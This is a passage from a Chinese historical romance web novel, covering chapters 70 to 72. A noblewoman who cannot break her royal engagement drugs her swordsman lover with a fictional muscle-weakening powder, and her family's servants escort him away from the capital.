偏殿内嘈杂声不再,承宁帝饮下二陈汤,神情快活道:“这下可以说了吧,也没有旁人了,想要些什么?” 余光瞥了一眼跟上来的李承钰,云桑没法子叫人走,只能一路走到黑了。 姿态郑重地跪下,行一顿首礼。 此为请罪之礼,李承钰立即就察觉到了什么,脸色一变,想阻止却已经来不及了。 “陛下,臣女想要请求陛下解除臣女与英王世子的婚约。” 少女声音又轻又软,但在这样安静的偏殿内掷地有声,让承宁帝听得清清楚楚。 “朕没听错?” “你要什么?” 以为自己听错了,承宁帝神色一敛,复问了遍。 一旁,李承钰心中的猜测落到了实处,他捏紧了手上的玉扳指,几乎将其碎裂。 “臣女想请陛下解除婚约。” 咔嚓,被捏碎的玉戒裂口锐利,李承钰感觉道指腹疼痛,好在他衣袖宽大,掩去了那一切。 承宁帝看了看一旁孙子的脸色,觉得不可思议。 明明先前还剑曲相和,怎么一转脸成了这副模样? 不过承宁帝也不是不讲理的长辈,只要能拿出正当理由,他应承也无妨。 “为何有此念头,你且说说。” 承宁帝语调中没了笑意,又成了那个威严肃穆的天子,那双眼睛叫人看一眼都发怵。 这也是云桑最难以启齿,或者说最薄弱的地方,她的理由可能在陛下眼中十分拙劣可笑,不知天高地厚。 “臣女、臣女觉得与世子合不来,不堪为世子妃,所以……” “只是觉得合不来,便要来退婚,傅家丫头,你当我们皇家是什么阿猫阿狗,可以被如此随意对待?” 并没有大发雷霆,语调也和缓非常,但就是这样轻飘飘的话语,却让云桑开始冒冷汗,脊背也不自觉绷紧了。 “陛下恕罪,臣女并不是这个意思,只是、只是……” “只是什么?寻常人家定下婚事,若无错也不能这般随意,你只一句合不来便想悔婚,哪里来的道理,是我这孙儿哪里对不住你了,还是我皇家有什么令你不满?” 陛下早过了会叱喝叫骂的年纪,但这不代表如今上了年纪的陛下便没有威势,多年沉淀下来的帝王威势凝于一言一笑间,让人心头惊惧。 云桑只是一个活了十多岁的闺阁少女,哪里这样真切面对过帝王之怒,只几句轻飘飘的质问话语,便让她一颗心脏狂跳。 还想说些什么,就听外头内侍战战兢兢来报,傅尚书求见。 云桑一怔,心中涌出了一股犯错后面对长辈的愧疚感,尽管这个错是她自己的选择。 承宁帝冷哼了一声,大手一挥让人进来。 傅允也猜到了些东西,进来后二话不说,径直跪拜天子道:“还请陛下宽宥,小女年岁尚小,不懂规矩说错了话,陛下勿要动怒。” 无论在官场上怎样呼风唤雨,到了侍奉的君王面前也只有恭敬的份,尤其当他还有个捅了篓子的女儿。 “这就是傅卿教出来的好女儿,竟然只一句合不来便要退我家的婚事,当真是不得了!” 面对承宁帝的训斥,傅允只有赔礼的份,云桑看着这一幕,身上渐渐发冷。 她太冲动了,她的冲动连累了爹爹。 可除了去求陛下,她再没有旁的法子了。 事实告诉她,她的冲动没有换来一线生机,反而让她看清了头上压着的是何种庞然大物。 皇权,一种无可撼动的存在。 心渐渐下沉,沉入冰冷的谷底,云桑觉得指尖都开始发僵了。 “皇祖父勿动气,其实是前几日孙儿惹了仪君生气,说了些难听的话,许是这样,仪君才冲动来此向皇祖父告状,不是真的要退婚,还请皇祖父宽宥。” 浑身冰冷,眼前也昏黑一片,云桑听到身畔李承钰似乎在说些什么,但她此刻状态不好,听不清楚,只猜测是为她求情的话语。 她心中苦笑,时而觉得满心愧疚,时而又一腔怨愤。 他为何要对她这样好,明明她已经落尽了他的颜面,他应该愤怒,应该厌恶她才是! 可偏偏是这样的态度,云桑此刻甚至都不知怎样才好,她眼中蓄着泪,复杂的情绪让她自己也辨不出到底是为何而生的泪。 “哦?有多难听,能让傅家丫头有胆气跑过来向朕退婚?” 承宁帝也曾年少轻狂过,尤其他年轻时本就是个慷慨激昂的性子,并未觉得孙儿的理由荒谬,反倒好奇起来了。 李承钰强做镇定,故作愧疚道:“那些话着实不好听,还是不说出来污皇祖父的耳朵了,也不再开罪仪君了。” 一番谎话被他说得天衣无缝,承宁帝听了也不好再追问,只将目光落在泫然欲泣的云桑身上,蹙眉严厉道:“就算如此也不能莽撞地来朕跟前退婚,像什么话!” “傅允,你怎么教导的女儿,受点委屈就要来退婚,还是来朕跟前,真是不知轻重!” “念在尚书台如今离不得你,便不重罚你了,改为罚俸半年,你可知错?” “臣知错,多谢陛下宽厚仁慈。” 云桑跟着爹爹一道叩拜而下,嗓音不受控制地颤抖道:“臣女知错,谢陛下宽恕。” 承宁帝甩袖而出,方向并不是长庆殿,显然好心情都被破坏了。 云桑跟着爹爹浑浑噩噩地站起来,不知不觉间眼泪滑了一脸,还是爹爹掏出了一方帕子将她面上的眼泪一点点擦去。 “要是难受的话,咱们回去再哭,宴席还未结束,囡囡先忍一下。” 依旧同小时候一般,爹爹会轻柔地为她拭去眼泪,温柔地哄着她。 但这样好的爹爹,她今日却因为自己的冲动差点害了他,云桑心中的痛苦不言而喻。 还有站在远处同样面色发白的李承钰,云桑心中酸涩难言,五味杂陈。 她有千言万语,但这时候却都哽在了嗓子里说不出来。 只觉她冷得发抖,视线也不清晰,就好像下一刻便要晕过去。 傅允也瞥见了李承钰,拱手叹道:“世子心胸广阔,今夜多谢世子以德报怨,此番是某的错,请不要记恨小女,她只是一时糊涂。” “改日某定会登门赔礼。” 李承钰此刻也不大能笑得出来,尤其看到仪君泪水涟涟的可怜模样,一颗心也跟着抽痛。 “傅公客气,晚辈身子不大舒坦,先告辞了。” 没人知道,李承钰是顶着怎样的心情编造了那样一个谎言来为其解围的。 云桑怔怔地看着人远去的背影,只觉得自己谁也对不住。 因为女儿的状态不对,傅允最终没有留下,劳烦了内侍去向陛下告罪,带着云桑回去了。 当晚,浑浑噩噩睡下的云桑便起了高热,直到翌日才被发现,明静院乱成一团。 70-80 第71章 第 71 章 抉择 江见便是这时候堵在门口的。 “让我见一见她不成吗?” 看着挡在自己身前的岳丈, 江见也不敢推搡,只满脸焦急地恳求。 他昨晚上便一直等着,好不容易将人等回来了, 却只是一句小姐身子不适, 已经睡下了。 他内心是失落的, 但念着可能娘子真的困倦非常,便没有去打扰。 然今早听到她病了的消息, 江见没能忍住跑了过来,只想着能瞧上一眼。 他又是很久没有看见娘子了, 一颗心好似油煎。 傅允看着这个“罪魁祸首”,再好的脾气也有些遭不住。 若不是为了这么个混小子, 他的女儿又怎会如此冲动,给自己招来这一番惊险? 就算有一颗真心又如何,世间事不是有一颗真心便能所向披靡的, 有些真心只能被现实掩埋,不见天日。 “不可, 你无名无份的, 怎能进出我女儿的闺房,里面自有良医, 不必挂心, 一切等她醒了再分辩。” 岳丈并不会武功,若是不管不顾, 这里没人能挡得住他,但他并不能这般肆无忌惮。 果然,人有了羁绊,便有了弱点,再不像以前那样痛快了。 但如果是为娘子, 一切都值得。 “我会老老实实在外面的。” 江见强行压下焦躁的心,安安静静地,立在外头等候。 傅允信任这双澄澈的眼眸,只留下几个健妇在外,自己折回了屋子看顾女儿。 …… 云桑很难受,像是置身火海,好似血液都要沸腾了。 头脑昏沉,全身上下无一处不痛。 苦涩的药汁灌进嘴里,她困难地吞咽,药汁流进喉咙,苦得她整颗心都皱了起来。 她又开始做梦了,似乎是一个好梦,一帧帧画面都是她与江见曾经的美好与甜蜜。 初见时她的无助和茫然,少年温柔地对待她,背着她一步一步走下桃花山,伏在少年背上的她觉得温暖又踏实。 那是她们的开始,虽然不算美好,但让人难以忘记。 每一次带着她飞过林梢的惊险与快活,每一朵为她簪上的鬓边花,每一次为她吹奏悠扬笛曲,每一次牵着她走过大街小巷,每一次马车上的回眸…… 实在是太多了,像冬日被一阵狂风卷落的银杏叶,一片片从枝头掉了个干净,纷纷扬扬砸在了树下仰望的云桑身上。 很美丽,但也很寂寥。 “娘子答应过我的,你不会抛弃我,我们一起回云桑谷吧!” 一转眼,江见立在落满金黄树叶的银杏树下,扬着春日才有的朝气,对她伸出手。 她被那束光所诱惑,怔怔地伸出手,放在少年宽厚的掌中。 江见笑了 ,是那样明媚,诱得云桑也想跟着笑。 但就在这时,一支羽箭在江见胸口炸开一片血红,紧接着是无数支,他死于万箭穿心。 眼泪模糊了她的视线,她看见江见背后是乌泱泱数不过来的羽林军,他们手持弓箭,威势赫赫。 而领头的人便是那位说一不二的天子,他冷睨着倒下去的少年,冷漠道:“一个江湖草莽,竟敢刺杀皇孙与朕之臣工,拐带我皇家妇,不知死活!” 看着地上已经气绝的少年,云桑泪如滚珠,就要扑上去。 但这时场景一变,她站在了家门口,茫然地看着闯入家门的羽林军,还有四散的家仆。 这是怎么了? 话音刚落,就看见爹爹被羽林军押出来,耳畔响起旁人的议论。 “可怜了傅公,本来可以跟天家做亲家的,谁知道临近婚期,女儿跟一个江湖草莽私奔了,陛下龙颜大怒,抓不到傅小姐,只能抓傅公问罪了。” “你说怎能有这样的不孝女,明知这是与皇家的婚约,还敢不管不顾与人私奔,连老爹的死活都不管了,可真心狠~” “是啊是啊,我反正做不出来。” “傅公多好一个官,怎就被这个不孝女连累了!” 各种唏嘘,唾骂,感慨一股脑往她脑子里挤,云桑只觉她脑袋快要炸了,眼泪也要流干了。 睁开眼时,朦胧的天光透过锦帐,光线微弱让她辨不清此刻到底是什么时辰,但她也不在乎,只想静静躺着。 周围很安静,也没有鸟雀啾喳,更没听到外面小丫头轻声细语。 应当是黎明,云桑判断。 庆幸是黎明,无人打扰,云桑可以不用一醒来就面对各色纷扰,可以暂且给自己留一片清净。 呆呆地看着帐顶,云桑将梦境想了一遍又一遍,麻木的神情下是一颗惊涛骇浪的心。 终于,黎明被炽阳淹没,外面的光线越来越强,是天亮了。 喉咙很干,还残留着苦涩药味,她想喝点温水顺一顺。 刚咳了两声,伸出去的手还没碰到帐子,就听到床边悉悉索索一阵动静,照云露出了脑袋。 “小姐醒了!” 原来照云一直守在她床边睡,此刻听到她发出的动静,立即就惊醒了。 明静院的婆子连忙去回禀了家主,傅允匆匆过来了。 今日是十七,已经不在中秋三日休沐中了,但傅允实在放心不下还昏睡不醒的女儿,尽管大夫说烧已经退了,但是人没醒傅允还是不安心,干脆又告了一日假。 好在前些日子他将政务处理得七七八八,告一日假也无妨,就是前脚他被陛下罚了半年俸禄,后脚告假,引得朝中议论纷纷。 不过傅允都不在意,他属实放不下心,陛下生气归生气,也不会就此将他如何。 在爹爹的陪同下用了些轻淡的粥菜,云桑觉得浑身舒服了许多,人也跟着暖了不少。 爹爹的脸色有些不好,应当都是操心她所致,想到这,云桑心口沉闷。 “女儿既醒了,只需喝喝药便成,爹爹切莫为了我耽误了公务,快回尚书台吧,莫要让陛下再不悦。” 云桑不想爹爹因为自己再被陛下责怪了,只是一场风寒而已,她又不是几岁的小孩子,不需要爹爹告假陪着。 “不碍事,索性爹爹已经告了一日假,权当休息了,明日便去上职。” 傅允乐呵呵的,但掩不住面上的疲态。 云桑催促他去歇息:“那爹爹快去睡一觉吧,眼圈都青了,我会好好喝药不乱跑的。” 傅允知道女儿一向乖巧,应了一声回屋歇息去了。 下月重阳,陛下有祭天之意,接下来怕是还有要忙活的,他确实得养足了精力去应对。 今日风大,吹过来时裹着寒气,纵然日头不错,云桑目前也受不得这样的风。 她只好待在屋内,照云还贴心给她燃起了一盆炭火,屋内更暖了。 照云去将今日的药端来,黑乎乎的一碗,看得云桑直皱眉。 睡梦中满嘴的苦涩她还记得,更是勾起了那场可怕的梦境。 “小姐别担心,婢子拿来了荔枝糖,只要快快地喝下药再吃一颗就不苦了。” 她七岁那年被卖到了人牙子手中,那时她瘦瘦小小的,病又总是不好,人牙子觉得她卖不出去也不舍得再花钱给她治。 是小姐买走了她,还给她花钱治病,喝药的时候她没忍住掉了几滴泪,小姐以为她怕苦,将身上的糖给了她,正是荔枝糖。 “吃了糖就不哭了呦~” 比她还小一岁的姑娘笑出两个梨涡,照云瞬间就不觉得苦了。 云桑笑笑,依言飞快将药灌下去,将荔枝糖含在嘴里,可心中还是很苦。 “对了,取药的时候碰见了江少侠,他想见小姐呢! “不过外面风大,婢子担心小姐被风吹着,还是缓些时候吧。” 照云没有跟去皇宫,自然也不知道中秋宫宴那夜具体发生了什么。 家主不说,小姐也不说,照云自然也不会去追问。 听照云提起江见,云桑好不容易平稳下来的心又发颤起来,眼睫低垂,眸光黯淡,陷入了低迷的情绪中。 照云觉得自己经历了好长一段寂静,才听到小姐的声音,声音闷闷的。 “就说我不大舒服,暂时不能见他。” “晚上吧,让他戌正时分来,就说我同他一道看月亮。” 越说到后面,照云越感觉小姐的声音带着些轻颤,那股情绪听得她鼻子一酸,也没去好奇问为什么小姐要看十七的月亮。 照云嗳了一声,将药碗端了出去,顺带将话带给了江见。 原本还闷闷不乐的少年一听到后面的话,面上的郁气当即一扫而空,眉开眼笑地走了。 照云回来的时候,云桑懒得穿上一层又一层衣裳,只披了一件厚厚的披风在身上,坐在铺满柔软地衣的地上摆弄着一地闪闪发光的东西。 一开始照云离得远没看清是什么,走近看才辨别出来,是一堆金玉之物。 金锭银锭,一沓沓银票,还有各种钗环首饰,尽管跟着小姐见了不少贵重东西,照云也不得不承认眼前这些毫不逊色。 像是幼童在摆弄自己的玩具,照云看着小姐摸摸这个又看看那个,不仅是喜爱,还有留恋。 很奇怪,明明都是小姐的东西,为何会产生这样复杂的情绪呢? “婢子知小姐有零花钱,怎的这么多,还有这些簪子花钗,婢子好似都没怎么瞧见过。” 那里面,有些是一路上买来的,有些是江见在长安无事买回来的,都不是云桑以往在家戴过的,照云自然眼生。 “都是江见买的,这些钱也是他的。” 满满铺了一大片,照云听了话看过去,掩饰不住讶异,惊叹道:“江少侠那么有钱的吗?” 云桑拿起一只清透又泛着盈盈紫意的翡翠玉镯,瞳孔也染上了些淡紫。 “是挺有钱的,不过都是血汗钱,我倒希望他不要再去做那些危险的事。” 江见总说今年没碰上什么事,可云桑觉得今年已经是她经历过最凶险的一年了,难以想象以往她不在的时候他经历了多少艰难险阻。 常在河边走,哪有不湿鞋,说不定哪天就丢了性命,云桑怎么能不多想。 照云看着面泛忧愁的小姐,也想起了江少侠的营生。 在江湖混饭吃的,听说书先生说那过得都是刀光剑影的日子,实在危险。 一想到小姐同世子退婚便是要跟着江少侠过日子,照云顿 时一阵心惊,这太凶险了,小姐跟着多危险。 不行,不行。 挨个摸了一圈,照云还在忧愁着,就看见小姐将银钱和首饰都放进了回来时背着的小布袋里,一副收拾起来的架势。 银钱收起来也就罢了,那些日常能用到的首饰为何也要收起来? 照云也瞧了,都很漂亮,小姐瞧着也喜欢,不如放在妆匣里,日日挑着戴不好吗? 刚想说话,小姐的交代就来了。 “照云,我有个差事交给你,你同谁都别说。” “还有,等我爹下职了马上将他请来,我有事要同他说。” 说完,勾了勾手指,示意照云凑过去。 照云附耳过去,听到那差事,惊疑不定。 “先别多问,到时会告诉你。” 被小姐肃着脸的模样感染,照云也正色起来。 “小姐放心,我自然买最烈的!” …… 暮色降临,早办完差事的照云将下职的家主请到了明静院。 照云守在外面,也不知父女二人密谈了些什么,不过一炷香的时间,就见家主出来了,饭也没来得及吃,就忙碌去了。 也不知是忙活些什么。 快到戌正,照云依着小姐的吩咐将下人都遣走,将小姐需要的葡萄酒烫上,月团备上,便去叫江少侠了。 显然,照云还是低估了江见的热情,一到外头,就看见人早早等在那了。 仍是一身单薄的白袍,站在冷风阵阵的秋夜里,也不知站了多久。 “小姐让你过去。” 照云搓了搓手,神色复杂。 虽然小姐什么都没有告诉她,但照云不是多么蠢笨的姑娘,凭着零碎也猜到了些许,因而现在看到江见心绪有些复杂。 江见没想到娘子今夜居然直接让他从门进,不再是翻窗子,他不由得往好的方向想了些,觉得很可能自己就快要有名分了。 美滋滋进屋,看见的是一副温馨美好的画面。 风寒初愈的少女面色还有些苍白,但被红泥烤炉中的炭火映出些红晕。 她盘腿坐着,面前是一张精致小巧的长案几,上面放了一碟月团,看着便是甜滋滋的味道。 月团旁是一只圆肚长颈的漂亮银酒壶,淡淡的清冽酒香已经迫不及待散发出来,勾人心弦。 还有一只红泥烤炉,烤盘上正炙烤着一些板栗,白果,甚至还有小小的橘子瓣。 一时间,板栗、橘子、酒好几样香气混在一起,满室都是甜香味。 “快来坐下。” 迎接他的是少女甜蜜的笑颜,只这一个笑,江见几天的寂寞和委屈都烟消云散了。 “嘿嘿,来了~” 丝毫不见外地坐在云桑对面,少年的快乐溢于言表。 先是捏了一个月团塞进嘴里,甜滋滋的味道盈满了口腔,他连着嗯了好几声,赞不绝口。 “娘子也吃~” 云桑没有接他递来的月团,只微笑道:“大夫说我大病初愈不适宜吃些甜腻的,这是我专门拿给你吃的,快吃吧。” 说着,又自然无比地给他倒了盏酒,长睫敛下了所有的情绪。 “月团有些噎人,这是长安有名的葡萄酒,味道很不错,你试试。” 琥珀色的酒液流进银盏中,倾泻出清甜的葡萄香气,引得江见这个不怎么饮酒的人也耸动了下鼻子。 “果然是长安名酒,闻起来倒是不错。 见他一饮而尽,云桑控制住情绪,神色平静地也给自己倒了一盏。 烫过的葡萄酒没有丝毫凉意,温热的酒液滚过喉咙,分明十分柔滑,但饮下此酒的云桑却觉得喉咙火辣辣的疼。 大夫说像她这般风寒初愈的人也可饮葡萄酒,不仅无害,反而有益,就是需要烫热了饮下。 不用云桑招呼,江见已经自觉翻烤起了烤盘上的板栗和白果,将先熟地都夹到她面前,催促她吃。 鼻头开始发酸,云桑借着饮酒的空隙强行压下,看着江见颇感兴趣地又饮下了几盏。 “虽然今日不是十五,也不是十六,但总归我们两人在就行,我看娘子这颗月亮就好!” 似乎想要安抚云桑因为生病错过约定日子的遗憾,江见乐呵呵地说着,一副满不在乎的模样。 云桑用尽全身的力气撑着,让自己看上去没有任何异样,心头却早已热泪滚滚。 “没错,哪一日不重要,只要是我们就好。” 云桑跟着呢喃道,明眸中的笑意泛着一层浅淡的水光。 就在她快要撑不住时,酒液倾泻而出,银盏磕碰案几的声音恍然间响起。 像是一记钟声在云桑心头敲响,她看到了自己今夜一直等待的。 常年执剑傲然江湖的少年剑客颤抖着手掌,将手里的酒盏摔了出去,整个人也如脱力一般,上半身伏倒在案几上,唯余一双黑漆漆的眸子看着云桑的方向。 许是那软筋散的药性太大了,以致于让人动弹不得的同时也让人没了说话的力气,只听到他急促的呼吸声。 那双漂亮的桃花眼中盛满了不可置信,根本无法理解为何面前的少女为何会对他下药。 水色终于再困不住,犹如决堤一般涌出主人的眼眶,如小雨阵阵,一滴一滴全都落在玄色的案几上。 云桑也不去擦,起身走到了江见身边,跪坐而下,将已经瘫软成烂泥的江见抱在怀里,下颚抵在他的头顶。 这样,她就看不见江见那双刺痛心扉的眼眸了。 “别怕……” 只是第一句,云桑已然控制不住语调中的悲伤,开始颤抖起来。 “这不是什么害人的药,只是软筋散,那老板说只放上一撮,便能药倒两头牛。” 因为看不见江见的神色,云桑索性敞开了说。 “对不起,我退不了与英王府的婚事,陛下真的很可怕,他不许我退婚,不仅将我训斥了一顿,还差点害了我爹爹。” 有些费力地抱着少年健硕的身板,云桑继续慢吞吞道:“我知道,你肯定想说既然退不了,那便跟你回云桑谷过日子,这样谁也找不到我们。” “可我不能这样不孝的,江见,我爹爹十几年含辛茹苦把我拉扯大,他是我唯一的亲人,我若是同你私逃了,届时到了婚期,新娘子没了,陛下只会发落我爹爹,我不能这样,只顾着与你相守,躲得远远的,让我爹爹一个人承受陛下的怒火。” “所以,你回去吧,回到长亘山,继续同师父过你们的安宁日子。” “不要再想我,也不要来长安了。” “这样你刺杀伏陶和殴打十皇孙的事情便能永远埋藏,你不会再有危险了。” “还有……” 云桑执起那双因为长久执剑而带有薄茧的手掌,温柔叮嘱道:“也不要再做这样危险的事了,你赚的钱已经很多了,足够你和师父衣食无忧地活一辈子,答应我,以后别再去打打杀杀的了,那样也许会死的。” 她慢慢松开江见的手,但对方颤抖着想要抓住他,奈何没了半分力气,只能从那只不断颤抖的手掌窥探出怀中人此刻并不平静的心绪。 云桑不忍去看,狠心地将他的手甩开,继续说话。 “你也别想着回来找我了,送你走后,我会让人日日给你喂药,看顾你,一路将你送回雍州长亘山脚下,你知道的,路途遥远,可能要两月时间,而我与英王府的婚期在下月十八,你在半路上我便嫁出去了,你回来也无用了,不如归去。” “知道了吗?千万别任性,世上、世上也不只我一个……” “一个好姑娘的,离了我你以后还会遇到旁的,你不要犯倔。” 提到这两句时,云桑更是心如刀绞,有种窒息感涌上心头。 谁又能大方到能将自己的心上人推给别人呢? 云桑自然也是如此,但是她别无他法。 “以前我总想着遇到困难努努力,尽自己最大的力量总是有希望的。” “但现在发现有些事情不是努力就能做到的,世间总有不完美,总有缺憾,就如明月,阴晴圆缺,亘古不 变。” 柔软的手指抚上少年的脸,掌心触到了一片温热与湿濡,意识到那是什么,云桑好不容易止住的眼泪又源源不断地冒出来,淋在那只不断颤抖的手背上,烫得人抖的愈发厉害。 “我们也不过是世间数不清缺憾中的一个,不必嗟叹。” 此话落下,是长久的沉寂,就好像时间就要定格在这一刻。 终于,云桑勉强整理好了心情,就要起身去唤人进来。 骤然的脱离感让本就处于崩溃边缘的人愈发难以接受,感受到身上的阻力,云桑回头,看见自己的一片衣角被那只青筋暴起的手攥在其中。 看起来用了天大的力气,但云桑只稍拉扯了一下就将衣角抽了出来。 “对不起,是我没能履行诺言,你可以恨我怨我。” “我只希望你余生平安喜乐。” 嘎吱声响起,房门被打开,在外等候已久的傅允带着亲信侍卫进来,将瘫倒在案几上的少年抬了出去。 云桑对着墙壁默默流泪,始终未回头看一眼。 她不能回头,因为她怕自己对上那双眼眸时崩溃大哭,继而动摇反悔。 故此,直到人被抬出房门,云桑都未曾回头看一眼,自然错过了那双绝望之下猩红的泪眼。 秋夜的风拂过寂寥的庭院,冰冷又萧瑟。 第72章 第 72 章 分离 亥初时分, 一驾马车悄悄从傅家正门出去,虽然动静很小,但还是引起了在傅宅外日夜蹲守的景王府侍卫的主意。 他们兵分两路, 一波跟上去追踪, 一拨回了景王府报信。 马车淹没在黑夜中, 带走了不干净的东西,让傅宅外清净了不少。 而又过了些时辰, 大约是亥正,又是一驾马车从傅家出去了, 不过走的是寻常不用的偏门,通往的路也是生僻小道。 这一次, 车驾后再没有苍蝇臭虫跟着,只看那一驾马车轻便地驶出了傅宅,驶出了长安西门, 消失在夜色中。 …… 因为睡不着,云桑让照云点了安神香, 一夜无梦到天亮。 天亮过后, 照云迎来了一个娴雅安静的小姐,除了眼睛肿些, 好像什么事都没有。 但这个错觉很快就被照云给否决了, 因为早饭明明都是小姐平日最喜欢的,以往都能吃个七七八八, 有时候胃口好了还要添饭。 但今日小姐只草草用了几口粥就放下了勺子,一副食欲不振的模样。 像是知道她要说什么,照云还没开口,就被抢先了。 “我真的没什么胃口,吃不下了, 把它们收走吧。” “还有,拿些冰块来,我眼睛疼。” 一听到这个,照云忙接话道:“已经让人去取了,小姐稍待。” 云桑嗯了一声,也不挪窝,就那么坐在食案前发呆,神色恍惚。 不一会,冰袋被拿来了,照云还没碰着,就见冰袋被小姐拿走了,自个往软榻上一躺,将两个冰袋顶在了两只眼睛上。 照云忽地有些想笑,但这样的时刻她哪里敢,昨夜小姐哭成那样,正伤心着,她怎么能笑呢。 “我想一个人待会,照云你先出去吧。” 照云应声而退,轻手轻脚地将门带上了。 屋内又变作一片寂静,云桑一动不动地躺在软榻上,好似睡着了一般。 …… 江见再次醒来的时候,是雾蒙蒙的清晨,他听到鸟雀叽叽喳喳的声音,与傅家来来回回那几种啾喳不同,这里各式各样的,有的甚至听起来很怪异。 这是野外才会有的声响。 想揉揉脑袋,却发现他连抬手的力气都没有。 潮水般的记忆涌来,每一滴都好像带着锋利的刀子,一下又一下割在他的血肉铸成的心脏上。 手背上好似还残留着那几滴眼泪带来的灼痛感,他甚至不敢去回忆着那些字字剜心的话。 师父的话果然一一被验证了,他是被抛弃的那一个。 心火在燃烧,若是能化作实质,定然是冲天的烈焰。 他想回去找她,控诉她,将她带回云桑谷。 可身体的虚软让他连坐起来的力气都没有,他用尽全身力气才只是碰歪了手边的东西。 钱财特有的碰撞声引起了江见的一丝注意,他扭头看了过去,发现是个老熟人,不由嗤笑一声。 正是他给云桑买的随身小布袋,看着鼓鼓囊囊的快成了个粽子,想必里面被塞了不少东西。 果然是要抛弃他了,连东西都跟他掰扯清楚了,通通还给了他。 用力眨了眨有些刺疼的眼睛,江见不由得想起了昨夜少女泪水涟涟的模样。 虽然她一直未曾看他,但江见知道对方一直在哭,不仅是他的手感受到了,还有他的耳朵。 好像下一刻便要被抽噎得说不出话来。 他的眼睛尚且这般,那娘子今日一定更难受吧? 他不甘心地在车厢里扭动着,筋骨酸软的他连内力都使不出来,形同废人。 但他的努力是有成效的,至少翻了下来,激起了些动静。 顿时,江见听到了马车外面的脚步声,再不是女子轻盈的力道了。 他知道,此刻自己滚在地上的姿态应当很糗,但他根本爬不起来,只能青黑着一张脸等着车门打开。 天光透进来,带着冰冷的晨露气息,江见看见了探过来的两颗脑袋,是一对双胞胎。 一个看着沉静严肃,一个看着活泼跳脱。 “看吧,我就说他跑不了,你还不信。” 确定了人还废着,没能耐逃走,双胞胎俱松了口气。 “你给他喂药,然后把饭也喂了。” 严肃些的那个只是瞥了一眼在车厢里不甘扭动的少年,抛下一句话就去生火做饭了。 “哎,你这什么态度,我才是你哥,凭啥都交给我!” 活泼些的哥哥愤愤不平地喊道,严肃些的弟弟回头解释:“一人一天,很公平。” 闻此,哥哥不说话了,车门一敞,人踏进了车厢,啧啧称奇地看着地上的少年。 “别费劲了,这药猛的很,不如乖乖躺着少丢些脸。” “呦呵,看着怪瘦的,还挺沉,坐好了,别再趴地上咕蛹了。” 不由分说将江见扶了起来,陈有粮嘴上嘀咕着。 “你们是什么人?” 许久没说话,江见的声音含着几分沙哑,听起来和他的人一样虚软。 陈有粮笑眯眯在江见面上看了一圈,才道:“你说呢,你昨晚从哪出来的不记得了?” 江见甚至听不得昨晚两个字,顿时就冷下了脸,仿佛人家欠了他银子。 陈有粮嘿了一声,也没再说什么,出去倒了一碗水,在里面掺了一小撮药粉,尽职尽责地就来了。 车门没关上,江见虽坐在里面也能看见外面的景象,尤其陈有粮兑药粉的时候也不避着他,当着他的面就一通操作,最后气定神闲地端着药碗过来了。 “拿走,我不喝!” 本想着十分铿锵有力地说出这句话,但一出口比七十岁的老头还虚,江见心里窝火,但没有任何办法,只能任由陈有粮嘲笑。 “不喝可不行,小姐说了,你厉害得要命,若让你得了自由,我们这差事便被办砸了,来,乖乖喝了,又不是毒药,何必如此抗拒。” 说着,陈有粮端着碗逼近了江见,也不顾他那点形同虚无的反抗,捏着下颌强行将药灌了下去。 虽是第一次灌人药,但这一套动作可谓是行云流水,看不出生涩。 “咳咳咳~” 尽管江见再排斥推拒那些掺了软筋散的药水,但还是被迫饮下了一大半,这足以禁锢他到 明日了。 因为太过抗拒,些许呛到了喉咙里,引得江见咳了好半晌。 “说了别费劲了,只要我们兄弟两没睡死过去,你跑不掉的,干脆配合一些,大家都好。” 灌完了药,陈有粮碎碎念了几句,也不管人有没有听进去,拿着空碗就出去了。 再进来时,陈有粮端了一碗加了肉菜的米粥,还有一张被烤热了的羊肉馅饼。 “你个幸运的小子,我都还没这么伺候过别人呢!” “快,吃饭!” 江见此刻心里正烦着,哪里有吃饭的心情,将头一扭,表示抗拒。 “嘿!” “有米有面,有菜有肉的你还不吃,你想吃龙肉啊!” 勺子怼到跟前好几次都被江见躲了过去,香喷喷的肉羹也洒了好几勺,饼更是填不进去,次数多了,陈有粮也烦了,气哼哼地拿着饭走了。 “不吃拉倒,看你能撑多久。” 一直到夜里,江见还是安安静静地窝在马车里,闻着外面兄弟两人烤兔子的香味,肚子发出了轻微的咕咕声。 正是长身体的年纪,又是习武之人,江见每顿饭都吃得很多,这样一日没吃饭他反应不小。 但他还带着一肚子气,这股气让他对整个世界都没有好脸色。 刚想闭目养神,就听见外面兄弟两一唱一和起来。 “哥你确定不去送饭了?” 听声音正是那个严肃沉静的弟弟在问话,似乎很为此苦恼。 很快便有人应答他,无所谓道:“不吃饭好啊,今日不吃,明日不吃,后日再不吃,多几天他就去死好了,反正不是我们的缘故,等人死了我们就回去交差,小姐顶多哭一阵子便开开心心嫁去当世子妃,也没人过来生事了,挺好~” “再者说……” “饭拿来!” 陈有粮还想说些不好听的,话才起头,就被马车里忽地传出的声音打断了。 虽然只有三个字,但听起来很是气急败坏,如果不是因为中了药,这声应当十分炸耳朵。 也不气,陈有粮顺手就拿起了火堆上热着的饭食,除了之前被拒了的粥和羊肉饼,还多加了一只兔腿和几个烤包子。 “来了~” 计谋得逞,陈有粮对着弟弟比了比眼神就过去了。 吃饭了就好,要真饿死了他们兄弟罪过就大了。 识趣的少年很好对付,若不是中了软筋散连碗都端不起来,怕是都要自己上手吃。 看着江见大口大口地吃着饭,虽然表情很凶残,像是将这些吃食当成什么人,但效率很快,没一盏茶就将陈有粮拿来的饭食吃得一干二净。 “再来一碗粥一张饼。” 听着少年犹不觉饱的话语,陈有粮二话没说先去拿了饭食,回来一边喂一边感叹道:“小姐说得果然没错,你饭量真大,好在我们依言备了许多饭食,要不然都不够你吃的。” 小姐二字像是什么开关,立即吊起了江见的精神气,只见他吞咽下一口粥,追问道:“她什么时候同你们说的,我怎么没听到?” 江见只记得那夜自己被从屋子里抬出去放到马车里,由这两人守了片刻便被带出了长安城,压根没听到她过来的动静。 陈有粮将饼子往他嘴里怼,笑呵呵解释道:“小姐又不是用嘴说的,她将你的饮食喜好写了下来给我们,生怕我们看顾不好你似的。” 黑暗中,江见心脏酸涩难言,只觉得饼子的热气把他眼睛熏着了,有些刺疼。 但陈有粮没注意到,依旧兴致勃勃说话,甚至探听起了消息。 “诶,你悄悄告诉我,你和小姐到底是什么关系,我们当初可是在小姐闺房里把你抬出来的,这不是那什么?金屋藏娇吗?” 说得兴起,陈有粮也不管人越发黑沉的脸色,独自乐呵着。 “说什么屁话,你才是娇!” 